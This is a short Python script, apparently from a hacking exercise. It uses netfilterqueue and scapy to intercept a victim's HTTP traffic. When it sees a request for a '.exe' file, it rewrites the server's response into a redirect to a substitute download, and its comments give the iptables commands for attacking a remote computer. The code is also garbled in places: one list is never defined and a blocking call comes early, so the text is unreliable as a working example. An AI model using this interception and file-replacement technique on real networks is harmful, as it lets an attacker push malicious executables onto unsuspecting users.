#!bin cos tam

import netfilterqueue
import scapy.all as scapy

# and subprossecc to automate that
# execute the command in terminal:
# iptables -I OUTPUT -j NFQUEUE --queue-num 0   only this when attacing a remote comp
# and
# # iptables -I INPUT -j NFQUEUE --queue-num 0  add this when testing in virtualbox
# this command creates the queue to trap incaming traffic


def process_packet(packet):
    scapy_packet = scapy.IP(packet.get_payload())
    packet.accept()  #must be to forward to the GW


queue = netfilterqueue.NetFilterQueue()  #create the netfilter object
queue.bind(
    0, process_packet
)  #connect the queue object to the queue created with termianl command as arguments specify
# the queue number and the callback function which will be executed on every incoming packet
queue.run()
def process_packet_cb(packet):
    inside_packet = packet.get_payload()
    scapy_packet = scapy.IP(inside_packet)
    '''
        in packets if dport is http then it is an request
        if the sport is http then it is a response
        in req and resp two fields : ack and seq are for
        determinig that which response is for which request in X
    '''
    if scapy_packet.haslayer(scapy.HTTP):
        if scapy_packet[scapy.TCP].dport == 80:
            # req
            if '.exe' in scapy_packet[scapy.Raw].load:
                ackls.append(scapy_packet[scapy.TCP].ack)
                print('found')
        elif scapy_packet[scapy.TCP].sport == 80:
            if scapy_packet[scapy.TCP].seq in ackls:
                ackls.remove(scapy_packet[scapy.TCP].seq)
                scapy_packet[scapy.Raw].load = 'HTTP/1.1 301 Moved Permanently\nLocation: newkinktodownload\n'
                del scapy_packet[scapy.IP].len
                del scapy_packet[scapy.IP].chksum
                del scapy_packet[scapy.TCP].len
                del scapy_packet[scapy.TCP].chksum
                packet.set_payload(str(scapy_packet))
    packet.accept()
    # packet.drop()

nf = netfilterqueue.NetFilterQueue()
nf.bind(0, process_packet_cb)
nf.run()